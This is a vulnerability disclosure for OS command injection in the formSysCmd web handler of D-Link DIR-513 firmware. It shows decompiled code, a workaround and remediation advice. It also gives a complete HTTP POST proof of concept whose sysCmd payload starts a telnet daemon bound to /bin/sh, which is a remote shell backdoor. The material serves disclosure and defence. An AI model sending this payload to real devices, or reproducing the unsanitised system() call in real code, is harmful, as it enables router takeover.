

formSysCmd

Classification: Remote Code Execution (RCE)

Vendor: D-Link Corporation

Vendor Website: <https://www.dlink.com.cn/> Affected Device Category: Network Infrastructure Devices (Switches, Routers, etc.)

Affected Product Model: DIR-513

Affected Firmware Versions: A1FW110, A2FW110 (Adjust based on your testing)

Component-Level Vulnerability: No

Vulnerability Identification:

OS Command Injection Vulnerability in D-Link DIR-513's formSysCmd (Binary-Level Exploit)

Version: 1.10 (Adjust based on your testing)

Trigger Location:

In the `formSysCmd` callback function of the web network service program, specifically at the `snprintf(v6, 100, "%s 2>&1 > %s", v3, "/tmp/syscmd.log");` statement and the subsequent `system(v6);` execution.

```
int __fastcall formSysCmd(int a1)
{
    int Var; // $s1
    const char *v3; // $a3
    const char *v4; // $a2
    _BYTE v6[104]; // [sp+20h] [-68h] BYREF

    Var = websGetVar(a1, "submit-url", &dword_48AED4);
    v3 = (const char *)websGetVar(a1, "sysCmd", &dword_48AED4);
    v4 = "%s 2>&1 > %s";
    if ( *v3 )
    {
        snprintf(v6, 100, "%s 2>&1 > %s", v3, "/tmp/syscmd.log");
        system(v6);
    }
    return websRedirect(a1, Var, v4, v3);
}
```

POC:

```
POST /goform/formSysCmd HTTP/1.1
Host: 192.168.0.1
Content-Length: 51
Cache-Control: max-age=0
Origin: http://192.168.0.1
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
```

Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,
image/apng,*/*;q=0.8

Referer: http://192.168.0.1/

Connection: keep-alive

submit-url=/&sysCmd=telnetd -p 1337 -l /bin/sh;ls

Vulnerability Description:

The web service of the DIR-513 device contains a security flaw when processing system commands. When the program receives a POST request to a specific endpoint (e.g., `/goform/formSysCmd`), it triggers the `formSysCmd` function. This function extracts the value of the `sysCmd` parameter from the request body using `websGetVar(a1, "sysCmd", ...)`. Without any sanitization or validation, this user-controlled input is passed directly into an `snprintf` function to construct a shell command string. The formatted string is then executed directly by the `system()` function. Due to the lack of input validation, an attacker can inject shell metacharacters (such as `;` or `&`) to execute arbitrary malicious commands (e.g., opening a telnet backdoor) on the underlying operating system with the privileges of the web service.

Workaround:

Disable web management interface access from the WAN side in the firewall settings and restrict access to the management page on the LAN side to trusted IP addresses only.

Permanent Solution:

Implement strict length limitations and whitelist validation for the `sysCmd` parameter, filtering out all shell special characters (e.g., `;`, `|`, `&`, `$`, `>`, `<`). It is highly recommended to deprecate the use of the `system()` function and replace it with safer alternatives like `execve()`, which strictly separate the executable command from its arguments.